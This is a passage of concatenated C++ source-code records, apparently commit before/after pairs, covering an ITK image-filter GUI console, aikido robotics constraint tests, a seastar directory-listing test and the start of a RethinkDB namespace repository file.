HxButton->GetRedrawCommand().GetPointer() );\n m_Reader->AddObserver( itk::ModifiedEvent(), HyButton->GetRedrawCommand().GetPointer() );\n m_Reader->AddObserver( itk::ModifiedEvent(), H1xButton->GetRedrawCommand().GetPointer() );\n m_Reader->AddObserver( itk::ModifiedEvent(), H1yButton->GetRedrawCommand().GetPointer() );\n m_Reader->AddObserver( itk::ModifiedEvent(), H2xButton->GetRedrawCommand().GetPointer() );\n m_Reader->AddObserver( itk::ModifiedEvent(), H2yButton->GetRedrawCommand().GetPointer() );\n m_Reader->AddObserver( itk::ModifiedEvent(), laplacianButton->GetRedrawCommand().GetPointer() );\n m_Reader->AddObserver( itk::ModifiedEvent(), smoothedButton->GetRedrawCommand().GetPointer() );\n m_Reader->AddObserver( itk::ModifiedEvent(), modulusButton->GetRedrawCommand().GetPointer() );\n\n m_IntensityScaleModulus->SetScale( 1.0 );\n m_IntensityScaleSmoothed->SetScale( 1.0 );\n m_IntensityScaleLaplacian->SetScale( 1.0 );\n\n m_IntensityScaleModulus->SetShift( 1000 );\n m_IntensityScaleSmoothed->SetScale( 1000 );\n m_IntensityScaleLaplacian->SetScale( 1000 );\n\n this->ShowStatus(\"Let's start by loading an image...\");\n\n}\n\n\n\n\n\/************************************\n *\n * Destructor\n *\n ***********************************\/\nliFilterConsole2D\n::~liFilterConsole2D()\n{\n\n}\n\n\n\n \n\/************************************\n *\n * Load\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::Load( void )\n{\n\n const char * filename = fl_file_chooser(\"Image filename\",\"*.png\",\"\");\n if( !filename )\n {\n return;\n }\n\n this->ShowStatus(\"Loading image file...\");\n \n try \n {\n liFilterConsole2DBase::Load( filename );\n }\n catch( ... ) \n {\n this->ShowStatus(\"Problems reading file format\");\n controlsGroup->deactivate();\n return;\n }\n\n\n this->ShowStatus(\"File Loaded\");\n\n controlsGroup->activate();\n\n\n}\n\n \n\/************************************\n *\n * Show\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::Show( void )\n{\n consoleWindow->show();\n}\n\n\n\n\n\n\/************************************\n *\n * Hide\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::Hide( void )\n{\n\n consoleWindow->hide();\n m_Viewer_H1x->Hide();\n m_Viewer_H1y->Hide();\n m_Viewer_H2x->Hide();\n m_Viewer_H2y->Hide();\n m_InputViewer->Hide();\n m_Viewer_Laplacian->Hide();\n m_Viewer_Smoothed->Hide();\n m_Viewer_Gradient_Modulus->Hide();\n}\n\n\n\n\n\n\/************************************\n *\n * Quit\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::Quit( void )\n{\n Hide();\n}\n\n\n\n\n \n\/************************************\n *\n * Show Status\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowStatus( const char * message )\n{\n liFilterConsole2DBase::ShowStatus( message );\n statusTextOutput->value( message );\n Fl::check();\n}\n\n\n\n\n \n\/************************************\n *\n * Show Input Image\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowInput( void )\n{\n\n if( ! (m_ImageLoaded) ) \n {\n this->ShowStatus(\"Please load an image first\");\n return;\n }\n\n m_InputViewer->SetImage( m_Reader->GetOutput() ); \n m_InputViewer->Show();\n\n}\n\n\n\n \n\/************************************\n *\n * Show Filtered Image\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowFilteredX( void )\n{\n\n m_H1x->Update();\n m_Viewer_H1x->SetImage( m_H1x->GetOutput() ); \n m_Viewer_H1x->Show();\n\n}\n\n\n \n\/************************************\n *\n * Show Filtered Image\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowFilteredY( void )\n{\n\n m_H1y->Update(); \n m_Viewer_H1y->SetImage( m_H1y->GetOutput() ); \n m_Viewer_H1y->Show();\n\n}\n\n\n\n\n \n\/************************************\n *\n * Show Second Derivative X\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowSecondDerivativeX( void )\n{\n\n m_H2x->Update();\n m_Viewer_H2x->SetImage( m_H2x->GetOutput() ); \n m_Viewer_H2x->Show();\n\n}\n\n\n \n\/************************************\n *\n * Show Second Derivative Y\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowSecondDerivativeY( void )\n{\n\n m_H2y->Update();\n m_Viewer_H2y->SetImage( m_H2y->GetOutput() ); \n m_Viewer_H2y->Show();\n\n}\n\n\n\n\n \n\/************************************\n *\n * Show Smoothed\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowSmoothed( void )\n{\n\n m_Smoothed->Update();\n m_Viewer_Smoothed->SetImage( m_Smoothed->GetOutput() ); \n m_Viewer_Smoothed->Show();\n\n}\n\n\n\n\n \n\/************************************\n *\n * Show Laplacian\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowLaplacian( void )\n{\n\n m_Laplacian->Update();\n m_Viewer_Laplacian->SetImage( m_Laplacian->GetOutput() ); \n m_Viewer_Laplacian->Show();\n\n}\n\n\n\n \n\/************************************\n *\n * Show Gradient Modulus\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowGradientModulus( void )\n{\n\n m_Modulus->Update();\n m_Viewer_Gradient_Modulus->SetImage( m_Modulus->GetOutput() ); \n m_Viewer_Gradient_Modulus->Show();\n\n}\n\n\n\n\n \n\/************************************\n *\n * Execute\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::Execute( void )\n{\n\n if( ! (m_ImageLoaded) ) \n {\n this->ShowStatus(\"Please load an image first\");\n return;\n }\n\n\n this->ShowStatus(\"Filtering Image with a Gaussian...\");\n\n liFilterConsole2DBase::Execute();\n\n\n this->ShowStatus(\"Filtering done \");\n \n}\n\n\n\n\n\n \n\/************************************\n *\n * SaveLaplacian\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::SaveLaplacian( void )\n{\n\n const char * filename = fl_file_chooser(\"Image filename\",\"*.png\",\"\");\n if( !filename )\n {\n return;\n }\n\n this->ShowStatus(\"Saving image file...\");\n \n try \n {\n liFilterConsole2DBase::SaveLaplacian( filename );\n }\n catch( ... ) \n {\n this->ShowStatus(\"Problems writing file format\");\n return;\n }\n\n this->ShowStatus(\"File Saved\");\n\n}\n\n\n\/************************************\n *\n * SaveModulus\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::SaveModulus( void )\n{\n\n const char * filename = fl_file_chooser(\"Image filename\",\"*.png\",\"\");\n if( !filename )\n {\n return;\n }\n\n this->ShowStatus(\"Saving image file...\");\n \n try \n {\n liFilterConsole2DBase::SaveModulus( filename );\n }\n catch( ... ) \n {\n this->ShowStatus(\"Problems writing file format\");\n return;\n }\n\n this->ShowStatus(\"File Saved\");\n\n}\n\n\n\/************************************\n *\n * SaveSmoothed\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::SaveSmoothed( void )\n{\n\n const char * filename = fl_file_chooser(\"Image filename\",\"*.png\",\"\");\n if( !filename )\n {\n return;\n }\n\n this->ShowStatus(\"Saving image file...\");\n \n try \n {\n liFilterConsole2DBase::SaveSmoothed( filename );\n }\n catch( ... ) \n {\n this->ShowStatus(\"Problems writing file format\");\n return;\n }\n\n this->ShowStatus(\"File Saved\");\n\n}\n\n\n\n<|endoftext|>"} {"text":"<commit_before>#include <gtest\/gtest.h>\n#include <dart\/dynamics\/dynamics.h>\n#include <dart\/common\/StlHelpers.h>\n#include <aikido\/constraint\/dart.hpp>\n#include <aikido\/statespace\/dart\/RealVectorJointStateSpace.hpp>\n#include <aikido\/statespace\/dart\/SO2JointStateSpace.hpp>\n\nusing Vector0d = Eigen::Matrix<double, 0, 1>;\nusing Vector1d = Eigen::Matrix<double, 1, 1>;\n\nusing dart::common::make_unique;\nusing dart::dynamics::BodyNode;\nusing dart::dynamics::Joint;\nusing dart::dynamics::RevoluteJoint;\nusing dart::dynamics::Skeleton;\nusing dart::dynamics::SkeletonPtr;\nusing aikido::constraint::SampleGenerator;\nusing aikido::statespace::RealVectorJointStateSpace;\nusing aikido::statespace::SO2JointStateSpace;\nusing aikido::util::RNGWrapper;\n\nusing aikido::constraint::createDifferentiableBoundsFor;\nusing aikido::constraint::createProjectableBoundsFor;\nusing aikido::constraint::createTestableBoundsFor;\nusing aikido::constraint::createSampleableBoundsFor;\n\nstatic Vector1d make_vector(double _x)\n{\n Vector1d matrix;\n matrix(0, 0) = _x;\n return matrix;\n}\n\n\/\/=============================================================================\nclass RealVectorJointStateSpaceHelpersTests : public ::testing::Test\n{\nprotected:\n static constexpr int NUM_SAMPLES { 1000 };\n\n void SetUp() override\n {\n mSkeleton = Skeleton::create();\n mJoint = mSkeleton->createJointAndBodyNodePair<\n RevoluteJoint, BodyNode>().first;\n mJoint->setPositionLowerLimit(0, -1.);\n mJoint->setPositionUpperLimit(0, 2.);\n\n mStateSpace = std::make_shared<RealVectorJointStateSpace>(mJoint);\n }\n\n SkeletonPtr mSkeleton;\n RevoluteJoint* mJoint;\n std::shared_ptr<RealVectorJointStateSpace> mStateSpace;\n};\n\n\/\/=============================================================================\nTEST_F(RealVectorJointStateSpaceHelpersTests, createTestableBoundsFor)\n{\n auto constraint = createTestableBoundsFor<RealVectorJointStateSpace>(\n mStateSpace);\n auto state = mStateSpace->createState();\n\n EXPECT_EQ(mStateSpace, constraint->getStateSpace());\n\n mJoint->setPosition(0, -0.9);\n mStateSpace->getState(state);\n EXPECT_TRUE(constraint->isSatisfied(state));\n\n mJoint->setPosition(0, 1.9);\n mStateSpace->getState(state);\n EXPECT_TRUE(constraint->isSatisfied(state));\n\n mJoint->setPosition(0, -1.1);\n mStateSpace->getState(state);\n EXPECT_FALSE(constraint->isSatisfied(state));\n\n mJoint->setPosition(0, 2.1);\n mStateSpace->getState(state);\n EXPECT_FALSE(constraint->isSatisfied(state));\n}\n\n\/\/=============================================================================\nTEST_F(RealVectorJointStateSpaceHelpersTests, createProjectableBounds)\n{\n auto testableConstraint\n = createTestableBoundsFor<RealVectorJointStateSpace>(mStateSpace);\n auto projectableConstraint\n = createProjectableBoundsFor<RealVectorJointStateSpace>(mStateSpace);\n\n auto inState = mStateSpace->createState();\n auto outState = mStateSpace->createState();\n\n EXPECT_EQ(mStateSpace, projectableConstraint->getStateSpace());\n\n \/\/ Doesn't change the value if the constraint is satisfied.\n mJoint->setPosition(0, -0.9);\n mStateSpace->getState(inState);\n EXPECT_TRUE(projectableConstraint->project(inState, outState));\n EXPECT_TRUE(inState.getValue().isApprox(outState.getValue()));\n\n mJoint->setPosition(0, 1.9);\n mStateSpace->getState(inState);\n EXPECT_TRUE(projectableConstraint->project(inState, outState));\n EXPECT_TRUE(inState.getValue().isApprox(outState.getValue()));\n\n \/\/ Output is feasible if the constriant is not satisfied.\n mJoint->setPosition(0, -1.1);\n mStateSpace->getState(inState);\n EXPECT_TRUE(projectableConstraint->project(inState, outState));\n EXPECT_TRUE(testableConstraint->isSatisfied(outState));\n\n mJoint->setPosition(0, 2.1);\n mStateSpace->getState(inState);\n EXPECT_TRUE(projectableConstraint->project(inState, outState));\n EXPECT_TRUE(testableConstraint->isSatisfied(outState));\n}\n\n\/\/=============================================================================\nTEST_F(RealVectorJointStateSpaceHelpersTests, createDifferentiableBounds)\n{\n const auto differentiableConstraint\n = createDifferentiableBoundsFor<RealVectorJointStateSpace>(mStateSpace);\n\n EXPECT_EQ(mStateSpace, differentiableConstraint->getStateSpace());\n\n auto state = mStateSpace->createState();\n\n \/\/ Value is zero when the constraint is satisfied.\n mJoint->setPosition(0, -0.9);\n mStateSpace->getState(state);\n auto constraintValue = differentiableConstraint->getValue(state);\n EXPECT_TRUE(Vector1d::Zero().isApprox(constraintValue));\n\n mJoint->setPosition(0, 1.9);\n mStateSpace->getState(state);\n constraintValue = differentiableConstraint->getValue(state);\n EXPECT_TRUE(Vector1d::Zero().isApprox(constraintValue));\n\n \/\/ Value is non-zero when the constraint is not satisfied.\n mJoint->setPosition(0, -1.1);\n mStateSpace->getState(state);\n constraintValue = differentiableConstraint->getValue(state);\n EXPECT_FALSE(Vector1d::Zero().isApprox(constraintValue));\n\n mJoint->setPosition(0, 2.1);\n mStateSpace->getState(state);\n constraintValue = differentiableConstraint->getValue(state);\n EXPECT_FALSE(Vector1d::Zero().isApprox(constraintValue));\n}\n\n\/\/=============================================================================\nTEST_F(RealVectorJointStateSpaceHelpersTests, createSampleableBounds)\n{\n auto rng = make_unique<RNGWrapper<std::default_random_engine>>(0);\n const auto testableConstraint\n = createTestableBoundsFor<RealVectorJointStateSpace>(mStateSpace);\n const auto sampleableConstraint\n = createSampleableBoundsFor<RealVectorJointStateSpace>(\n mStateSpace, std::move(rng));\n ASSERT_TRUE(!!sampleableConstraint);\n EXPECT_EQ(mStateSpace, sampleableConstraint->getStateSpace());\n\n const auto generator = sampleableConstraint->createSampleGenerator();\n ASSERT_TRUE(!!generator);\n EXPECT_EQ(mStateSpace, generator->getStateSpace());\n\n auto state = mStateSpace->createState();\n\n for (size_t isample = 0; isample < NUM_SAMPLES; ++isample)\n {\n ASSERT_TRUE(generator->canSample());\n ASSERT_EQ(SampleGenerator::NO_LIMIT, generator->getNumSamples());\n ASSERT_TRUE(generator->sample(state));\n ASSERT_TRUE(testableConstraint->isSatisfied(state));\n }\n}\n\n\/\/=============================================================================\nclass SO2JointStateSpaceHelpersTests : public ::testing::Test\n{\nprotected:\n static constexpr int NUM_SAMPLES { 1000 };\n\n void SetUp() override\n {\n mSkeleton = Skeleton::create();\n mJoint = mSkeleton->createJointAndBodyNodePair<\n RevoluteJoint, BodyNode>().first;\n \/\/ Don't set any limits.\n\n mStateSpace = std::make_shared<SO2JointStateSpace>(mJoint);\n }\n\n SkeletonPtr mSkeleton;\n RevoluteJoint* mJoint;\n std::shared_ptr<SO2JointStateSpace> mStateSpace;\n};\n\n\/\/=============================================================================\nTEST_F(SO2JointStateSpaceHelpersTests, createTestableBoundsFor)\n{\n auto constraint = createTestableBoundsFor<SO2JointStateSpace>(\n mStateSpace);\n auto state = mStateSpace->createState();\n\n EXPECT_EQ(mStateSpace, constraint->getStateSpace());\n\n mJoint->setPosition(0, -0.9);\n mStateSpace->getState(state);\n EXPECT_TRUE(constraint->isSatisfied(state));\n}\n\n\/\/=============================================================================\nTEST_F(SO2JointStateSpaceHelpersTests, createProjectableBounds)\n{\n auto testableConstraint\n = createTestableBoundsFor<SO2JointStateSpace>(mStateSpace);\n auto projectableConstraint\n = createProjectableBoundsFor<SO2JointStateSpace>(mStateSpace);\n\n auto inState = mStateSpace->createState();\n auto outState = mStateSpace->createState();\n\n EXPECT_EQ(mStateSpace, projectableConstraint->getStateSpace());\n\n \/\/ Doesn't change the value if the constraint is satisfied.\n mJoint->setPosition(0, -0.9);\n mStateSpace->getState(inState);\n EXPECT_TRUE(projectableConstraint->project(inState, outState));\n EXPECT_DOUBLE_EQ(inState.getAngle(), outState.getAngle());\n}\n\n\/\/=============================================================================\nTEST_F(SO2JointStateSpaceHelpersTests, createDifferentiableBounds)\n{\n const auto differentiableConstraint\n = createDifferentiableBoundsFor<SO2JointStateSpace>(mStateSpace);\n\n EXPECT_EQ(mStateSpace, differentiableConstraint->getStateSpace());\n\n auto state = mStateSpace->createState();\n\n mJoint->setPosition(0, -0.9);\n mStateSpace->getState(state);\n auto constraintValue = differentiableConstraint->getValue(state);\n EXPECT_TRUE(Vector0d::Zero().isApprox(constraintValue));\n}\n\n\/\/=============================================================================\nTEST_F(SO2JointStateSpaceHelpersTests, createSampleableBounds)\n{\n auto rng = make_unique<RNGWrapper<std::default_random_engine>>(0);\n const auto sampleableConstraint\n = createSampleableBoundsFor<SO2JointStateSpace>(\n mStateSpace, std::move(rng));\n ASSERT_TRUE(!!sampleableConstraint);\n EXPECT_EQ(mStateSpace, sampleableConstraint->getStateSpace());\n\n const auto generator = sampleableConstraint->createSampleGenerator();\n ASSERT_TRUE(!!generator);\n EXPECT_EQ(mStateSpace, generator->getStateSpace());\n\n auto state = mStateSpace->createState();\n\n for (size_t isample = 0; isample < NUM_SAMPLES; ++isample)\n {\n ASSERT_TRUE(generator->canSample());\n ASSERT_EQ(SampleGenerator::NO_LIMIT, generator->getNumSamples());\n ASSERT_TRUE(generator->sample(state));\n \/\/ There is nothing to test here.\n }\n}\n<commit_msg>Simplified some SO2 bound tests.<commit_after>#include <gtest\/gtest.h>\n#include <dart\/dynamics\/dynamics.h>\n#include <dart\/common\/StlHelpers.h>\n#include <aikido\/constraint\/dart.hpp>\n#include <aikido\/constraint\/SatisfiedConstraint.hpp>\n#include <aikido\/statespace\/dart\/RealVectorJointStateSpace.hpp>\n#include <aikido\/statespace\/dart\/SO2JointStateSpace.hpp>\n\nusing Vector0d = Eigen::Matrix<double, 0, 1>;\nusing Vector1d = Eigen::Matrix<double, 1, 1>;\n\nusing dart::common::make_unique;\nusing dart::dynamics::BodyNode;\nusing dart::dynamics::Joint;\nusing dart::dynamics::RevoluteJoint;\nusing dart::dynamics::Skeleton;\nusing dart::dynamics::SkeletonPtr;\nusing aikido::constraint::SampleGenerator;\nusing aikido::constraint::SatisfiedConstraint;\nusing aikido::statespace::RealVectorJointStateSpace;\nusing aikido::statespace::SO2JointStateSpace;\nusing aikido::util::RNGWrapper;\n\nusing aikido::constraint::createDifferentiableBoundsFor;\nusing aikido::constraint::createProjectableBoundsFor;\nusing aikido::constraint::createTestableBoundsFor;\nusing aikido::constraint::createSampleableBoundsFor;\n\nstatic Vector1d make_vector(double _x)\n{\n Vector1d matrix;\n matrix(0, 0) = _x;\n return matrix;\n}\n\n\/\/=============================================================================\nclass RealVectorJointStateSpaceHelpersTests : public ::testing::Test\n{\nprotected:\n static constexpr int NUM_SAMPLES { 1000 };\n\n void SetUp() override\n {\n mSkeleton = Skeleton::create();\n mJoint = mSkeleton->createJointAndBodyNodePair<\n RevoluteJoint, BodyNode>().first;\n mJoint->setPositionLowerLimit(0, -1.);\n mJoint->setPositionUpperLimit(0, 2.);\n\n mStateSpace = std::make_shared<RealVectorJointStateSpace>(mJoint);\n }\n\n SkeletonPtr mSkeleton;\n RevoluteJoint* mJoint;\n std::shared_ptr<RealVectorJointStateSpace> mStateSpace;\n};\n\n\/\/=============================================================================\nTEST_F(RealVectorJointStateSpaceHelpersTests, createTestableBoundsFor)\n{\n auto constraint = createTestableBoundsFor<RealVectorJointStateSpace>(\n mStateSpace);\n auto state = mStateSpace->createState();\n\n EXPECT_EQ(mStateSpace, constraint->getStateSpace());\n\n mJoint->setPosition(0, -0.9);\n mStateSpace->getState(state);\n EXPECT_TRUE(constraint->isSatisfied(state));\n\n mJoint->setPosition(0, 1.9);\n mStateSpace->getState(state);\n EXPECT_TRUE(constraint->isSatisfied(state));\n\n mJoint->setPosition(0, -1.1);\n mStateSpace->getState(state);\n EXPECT_FALSE(constraint->isSatisfied(state));\n\n mJoint->setPosition(0, 2.1);\n mStateSpace->getState(state);\n EXPECT_FALSE(constraint->isSatisfied(state));\n}\n\n\/\/=============================================================================\nTEST_F(RealVectorJointStateSpaceHelpersTests, createProjectableBounds)\n{\n auto testableConstraint\n = createTestableBoundsFor<RealVectorJointStateSpace>(mStateSpace);\n auto projectableConstraint\n = createProjectableBoundsFor<RealVectorJointStateSpace>(mStateSpace);\n\n auto inState = mStateSpace->createState();\n auto outState = mStateSpace->createState();\n\n EXPECT_EQ(mStateSpace, projectableConstraint->getStateSpace());\n\n \/\/ Doesn't change the value if the constraint is satisfied.\n mJoint->setPosition(0, -0.9);\n mStateSpace->getState(inState);\n EXPECT_TRUE(projectableConstraint->project(inState, outState));\n EXPECT_TRUE(inState.getValue().isApprox(outState.getValue()));\n\n mJoint->setPosition(0, 1.9);\n mStateSpace->getState(inState);\n EXPECT_TRUE(projectableConstraint->project(inState, outState));\n EXPECT_TRUE(inState.getValue().isApprox(outState.getValue()));\n\n \/\/ Output is feasible if the constriant is not satisfied.\n mJoint->setPosition(0, -1.1);\n mStateSpace->getState(inState);\n EXPECT_TRUE(projectableConstraint->project(inState, outState));\n EXPECT_TRUE(testableConstraint->isSatisfied(outState));\n\n mJoint->setPosition(0, 2.1);\n mStateSpace->getState(inState);\n EXPECT_TRUE(projectableConstraint->project(inState, outState));\n EXPECT_TRUE(testableConstraint->isSatisfied(outState));\n}\n\n\/\/=============================================================================\nTEST_F(RealVectorJointStateSpaceHelpersTests, createDifferentiableBounds)\n{\n const auto differentiableConstraint\n = createDifferentiableBoundsFor<RealVectorJointStateSpace>(mStateSpace);\n\n EXPECT_EQ(mStateSpace, differentiableConstraint->getStateSpace());\n\n auto state = mStateSpace->createState();\n\n \/\/ Value is zero when the constraint is satisfied.\n mJoint->setPosition(0, -0.9);\n mStateSpace->getState(state);\n auto constraintValue = differentiableConstraint->getValue(state);\n EXPECT_TRUE(Vector1d::Zero().isApprox(constraintValue));\n\n mJoint->setPosition(0, 1.9);\n mStateSpace->getState(state);\n constraintValue = differentiableConstraint->getValue(state);\n EXPECT_TRUE(Vector1d::Zero().isApprox(constraintValue));\n\n \/\/ Value is non-zero when the constraint is not satisfied.\n mJoint->setPosition(0, -1.1);\n mStateSpace->getState(state);\n constraintValue = differentiableConstraint->getValue(state);\n EXPECT_FALSE(Vector1d::Zero().isApprox(constraintValue));\n\n mJoint->setPosition(0, 2.1);\n mStateSpace->getState(state);\n constraintValue = differentiableConstraint->getValue(state);\n EXPECT_FALSE(Vector1d::Zero().isApprox(constraintValue));\n}\n\n\/\/=============================================================================\nTEST_F(RealVectorJointStateSpaceHelpersTests, createSampleableBounds)\n{\n auto rng = make_unique<RNGWrapper<std::default_random_engine>>(0);\n const auto testableConstraint\n = createTestableBoundsFor<RealVectorJointStateSpace>(mStateSpace);\n const auto sampleableConstraint\n = createSampleableBoundsFor<RealVectorJointStateSpace>(\n mStateSpace, std::move(rng));\n ASSERT_TRUE(!!sampleableConstraint);\n EXPECT_EQ(mStateSpace, sampleableConstraint->getStateSpace());\n\n const auto generator = sampleableConstraint->createSampleGenerator();\n ASSERT_TRUE(!!generator);\n EXPECT_EQ(mStateSpace, generator->getStateSpace());\n\n auto state = mStateSpace->createState();\n\n for (size_t isample = 0; isample < NUM_SAMPLES; ++isample)\n {\n ASSERT_TRUE(generator->canSample());\n ASSERT_EQ(SampleGenerator::NO_LIMIT, generator->getNumSamples());\n ASSERT_TRUE(generator->sample(state));\n ASSERT_TRUE(testableConstraint->isSatisfied(state));\n }\n}\n\n\/\/=============================================================================\nclass SO2JointStateSpaceHelpersTests : public ::testing::Test\n{\nprotected:\n static constexpr int NUM_SAMPLES { 1000 };\n\n void SetUp() override\n {\n mSkeleton = Skeleton::create();\n mJoint = mSkeleton->createJointAndBodyNodePair<\n RevoluteJoint, BodyNode>().first;\n \/\/ Don't set any limits.\n\n mStateSpace = std::make_shared<SO2JointStateSpace>(mJoint);\n }\n\n SkeletonPtr mSkeleton;\n RevoluteJoint* mJoint;\n std::shared_ptr<SO2JointStateSpace> mStateSpace;\n};\n\n\/\/=============================================================================\nTEST_F(SO2JointStateSpaceHelpersTests, createTestableBoundsFor)\n{\n const auto constraint\n = createTestableBoundsFor<SO2JointStateSpace>(mStateSpace);\n EXPECT_TRUE(!!dynamic_cast<SatisfiedConstraint*>(constraint.get()));\n EXPECT_EQ(mStateSpace, constraint->getStateSpace());\n}\n\n\/\/=============================================================================\nTEST_F(SO2JointStateSpaceHelpersTests, createProjectableBounds)\n{\n const auto constraint\n = createProjectableBoundsFor<SO2JointStateSpace>(mStateSpace);\n EXPECT_TRUE(!!dynamic_cast<SatisfiedConstraint*>(constraint.get()));\n EXPECT_EQ(mStateSpace, constraint->getStateSpace());\n}\n\n\/\/=============================================================================\nTEST_F(SO2JointStateSpaceHelpersTests, createDifferentiableBounds)\n{\n const auto constraint\n = createDifferentiableBoundsFor<SO2JointStateSpace>(mStateSpace);\n EXPECT_TRUE(!!dynamic_cast<SatisfiedConstraint*>(constraint.get()));\n EXPECT_EQ(mStateSpace, constraint->getStateSpace());\n}\n\n\/\/=============================================================================\nTEST_F(SO2JointStateSpaceHelpersTests, createSampleableBounds)\n{\n const auto sampleableConstraint\n = createSampleableBoundsFor<SO2JointStateSpace>(mStateSpace,\n make_unique<RNGWrapper<std::default_random_engine>>(0));\n\n ASSERT_TRUE(!!sampleableConstraint);\n EXPECT_EQ(mStateSpace, sampleableConstraint->getStateSpace());\n\n const auto generator = sampleableConstraint->createSampleGenerator();\n ASSERT_TRUE(!!generator);\n EXPECT_EQ(mStateSpace, generator->getStateSpace());\n\n auto state = mStateSpace->createState();\n\n for (size_t isample = 0; isample < NUM_SAMPLES; ++isample)\n {\n ASSERT_TRUE(generator->canSample());\n ASSERT_EQ(SampleGenerator::NO_LIMIT, generator->getNumSamples());\n ASSERT_TRUE(generator->sample(state));\n \/\/ There is nothing to test here.\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\"). See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership. You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\/*\n * Copyright (C) 2014 Cloudius Systems, Ltd.\n *\/\n\n\n#include <seastar\/core\/reactor.hh>\n#include <seastar\/core\/app-template.hh>\n#include <seastar\/core\/print.hh>\n#include <seastar\/core\/shared_ptr.hh>\n\nusing namespace seastar;\n\nconst char* de_type_desc(directory_entry_type t)\n{\n switch (t) {\n case directory_entry_type::unknown:\n return \"unknown\";\n case directory_entry_type::block_device:\n return \"block_device\";\n case directory_entry_type::char_device:\n return \"char_device\";\n case directory_entry_type::directory:\n return \"directory\";\n case directory_entry_type::fifo:\n return \"fifo\";\n case directory_entry_type::link:\n return \"link\";\n case directory_entry_type::regular:\n return \"regular\";\n case directory_entry_type::socket:\n return \"socket\";\n }\n assert(0 && \"should not get here\");\n return nullptr;\n}\n\nint main(int ac, char** av) {\n class lister {\n file _f;\n subscription<directory_entry> _listing;\n public:\n lister(file f)\n : _f(std::move(f))\n , _listing(_f.list_directory([this] (directory_entry de) { return report(de); })) {\n }\n future<> done() { return _listing.done(); }\n private:\n future<> report(directory_entry de) {\n return file_stat(de.name, follow_symlink::no).then([de = std::move(de)] (stat_data sd) {\n if (de.type) {\n assert(*de.type == sd.type);\n } else {\n assert(sd.type == directory_entry_type::unknown);\n }\n fmt::print(\"{} (type={})\\n\", de.name, de_type_desc(sd.type));\n return make_ready_future<>();\n });\n }\n };\n return app_template().run_deprecated(ac, av, [] {\n return engine().open_directory(\".\").then([] (file f) {\n auto l = make_lw_shared<lister>(std::move(f));\n return l->done().then([l] {\n \/\/ ugly thing to keep *l alive\n engine().exit(0);\n });\n });\n });\n}\n<commit_msg>directory_test: Update to use run instead of run_deprecated<commit_after>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\"). See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership. You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\/*\n * Copyright (C) 2014 Cloudius Systems, Ltd.\n *\/\n\n\n#include <seastar\/core\/reactor.hh>\n#include <seastar\/core\/app-template.hh>\n#include <seastar\/core\/print.hh>\n#include <seastar\/core\/shared_ptr.hh>\n\nusing namespace seastar;\n\nconst char* de_type_desc(directory_entry_type t)\n{\n switch (t) {\n case directory_entry_type::unknown:\n return \"unknown\";\n case directory_entry_type::block_device:\n return \"block_device\";\n case directory_entry_type::char_device:\n return \"char_device\";\n case directory_entry_type::directory:\n return \"directory\";\n case directory_entry_type::fifo:\n return \"fifo\";\n case directory_entry_type::link:\n return \"link\";\n case directory_entry_type::regular:\n return \"regular\";\n case directory_entry_type::socket:\n return \"socket\";\n }\n assert(0 && \"should not get here\");\n return nullptr;\n}\n\nint main(int ac, char** av) {\n class lister {\n file _f;\n subscription<directory_entry> _listing;\n public:\n lister(file f)\n : _f(std::move(f))\n , _listing(_f.list_directory([this] (directory_entry de) { return report(de); })) {\n }\n future<> done() { return _listing.done(); }\n private:\n future<> report(directory_entry de) {\n return file_stat(de.name, follow_symlink::no).then([de = std::move(de)] (stat_data sd) {\n if (de.type) {\n assert(*de.type == sd.type);\n } else {\n assert(sd.type == directory_entry_type::unknown);\n }\n fmt::print(\"{} (type={})\\n\", de.name, de_type_desc(sd.type));\n return make_ready_future<>();\n });\n }\n };\n return app_template().run(ac, av, [] {\n return engine().open_directory(\".\").then([] (file f) {\n return do_with(lister(std::move(f)), [] (lister& l) {\n return l.done().then([] {\n return 0;\n });\n });\n });\n });\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"clustering\/administration\/namespace_interface_repository.hpp\"\n\n#include \"errors.hpp\"\n#include <boost\/bind.hpp>\n#include <boost\/ptr_container\/ptr_map.hpp>\n\n#include \"concurrency\/cross_thread_signal.hpp\"\n#include \"concurrency\/cross_thread_watchable.hpp\"\n\n#define NAMESPACE_INTERFACE_EXPIRATION_MS (60 * 1000)\n\ntemplate <class protocol_t>\nstruct namespace_repo_t<protocol_t>::namespace_cache_t {\npublic:\n boost::ptr_map<namespace_id_t, namespace_cache_entry_t> entries;\n auto_drainer_t drainer;\n};\n\n\ntemplate <class 